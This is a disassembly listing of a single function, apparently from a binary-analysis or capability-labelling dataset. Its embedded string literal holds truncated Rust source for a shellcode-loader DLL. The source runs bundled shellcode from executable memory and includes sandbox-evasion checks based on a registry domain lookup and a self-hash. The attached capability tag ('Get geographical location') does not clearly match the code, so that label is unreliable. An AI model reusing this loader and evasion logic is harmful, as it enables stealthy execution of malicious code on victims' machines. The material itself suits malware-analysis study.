Function at 0x1400f67e0
Capabilities:
Get geographical location

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
mov rax, qword [str.1___]
movzx eax, byte [rax]
mov ecx, 0x2f9
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x1400f683c
mov rdi, rax
lea rdx, str.__allow_warnings___n___use_std::_n___________fs__n___________ptr::copy__null_mut__n_________nuse_std::_n________ptr::copy__null_mut__n______nuse_windows::Win32::System::Memory::_n________VirtualAlloc__VirtualProtect__MEM_COMMIT__MEM_RESERVE__PAGE_EXECUTE_READWRITE__n________PAGE_PROTECTION_FLAGS__PAGE_READWRITE__n__nuse_winapi::um::processthreadsapi::CreateThread__TerminateThread__nuse_winapi::shared::minwindef::DWORD__nuse_winapi::shared::minwindef::LPVOID__n_____nuse_winapi::um::memoryapi::WriteProcessMemory__nuse_winapi::ctypes::c_void__n__nuse_winapi::shared::minwindef::HINSTANCE__nuse_winapi::shared::minwindef::BOOL__nuse_windows::Win32::System::SystemServices::DLL_PROCESS_ATTACH__nuse_std::time::Duration__nuse_std::thread__nuse_std::process__nuse_std::env__n_nuse_winreg::enums::HKEY_LOCAL_MACHINE_KEY_READ__nuse_winreg::RegKey_HKEY__nuse_std::fs::File__nuse_std::io::BufReader__Read__nuse_sha2::Digest__Sha256__n_n_nunsafe_extern__system__fn_thread_function__:_LPVOID_____DWORD__n_____cfg_feature___process_mode____n____process_name____n_____cfg_feature___sandbox____n____sandbox____n____thread::sleep_Duration::from_secs_10____n____initialize____n____0__n_n_n_no_mangle__npub_extern__system__fn_DllMain_hinst_dll:_HINSTANCE__fdw_reason:_DWORD___:_LPVOID_____BOOL__n____match_fdw_reason__n________DLL_PROCESS_ATTACH____n____________unsafe__n________________let_mut_thread_id:_DWORD__0__n________________let_thread_handle__CreateThread_null_mut____0__Some_thread_function__null_mut___0_mut_thread_id_as_mut_DWORD____n________________if__thread_handle.is_null____n_________________else__n_________________n_____________n_________n________DLL_PROCESS_DETACH____n_________n_____________n_____n____winapi::shared::minwindef::TRUE_n_n_n_nfn_initialize____n____unsafe__n________let_shellcode_buffer:__u8___include_bytes___.._stuff.bin____n________let_shellcode_addr__VirtualAlloc_Some_null_mut_____shellcode_buffer.len____MEM_COMMIT__MEM_RESERVE__PAGE_READWRITE___n________copy_shellcode_buffer.as_ptr___as____shellcode_addr__shellcode_buffer.len_____n________let_mut_old_protection:_PAGE_PROTECTION_FLAGS__PAGE_PROTECTION_FLAGS_0___n________VirtualProtect_shellcode_addr__shellcode_buffer.len____PAGE_EXECUTE_READWRITE__mut_old_protection__.unwrap_or_else_e__n________panic_______VirtualProtect_Failed_With_Error:_e____n_____n________let_func:_fn____std::mem::transmute_shellcode_addr___n________func___n_n__n_n_n_nfn_process_name____n____let_file_name__env::current_exe__.map_err_e__n________process::exit_0x0101___n_____.ok__.and_then_path_path.file_stem__.map_name_name.to_string_lossy__.to_lowercase__.to_owned______n_n____if_let_Some_name___file_name__n________if_name___PLACEHOLDER1___n_________else__n____________process::exit_0x0100___n_________n_____else__n________process::exit_0x0102___n_____n_n_n____fn_sandbox____n________DomainChecker____n________ShaChecker____n_____n____fn_DomainChecker________n________let_hklm:_HKEY__HKEY_LOCAL_MACHINE__n________let_subkey__r_SYSTEMCurrentControlSetServicesTcpipParameters___n________let_domain_name__RegKey::predef_hklm_.open_subkey_subkey__n____________.and_then_keyval_keyval.get_value__Domain__.map_v:_String_v____n____________.unwrap_or_else_____.to_string_____n________if__domain_name.is_empty____n_________else__n____________process::exit_0x0100___n_________n_____n_____n_____n____fn_ShaChecker______std::io::Result______n________let_exe_path__env::current_exe_____n________let_file__File::open_exe_path____n________let_mut_buf_reader__BufReader::new_file___n________let_mut_contents__Vec::new____n________buf_reader.read_to_end_mut_contents____n________let_mut_hasher__Sha256::new____n________hasher.update_contents___n________let_result__hasher.finalize____n________let_hash__format___:x___result___n_________n________let_file_name__env::current_exe___n____________.ok___n____________.and_then_path_path.file_stem__.map_name_name.to_string_lossy__.into_owned______n________if_file_name__Som
mov r8d, 0x2f9
mov rcx, rax
call sym.memcpy
mov qword [rsi], 0x2f9
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], 0x2f9
mov rax, rsi
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 1
mov edx, 0x2f9
call sym.alloc::raw_vec::handle_error::hec5ad5a9ce9bec00
int3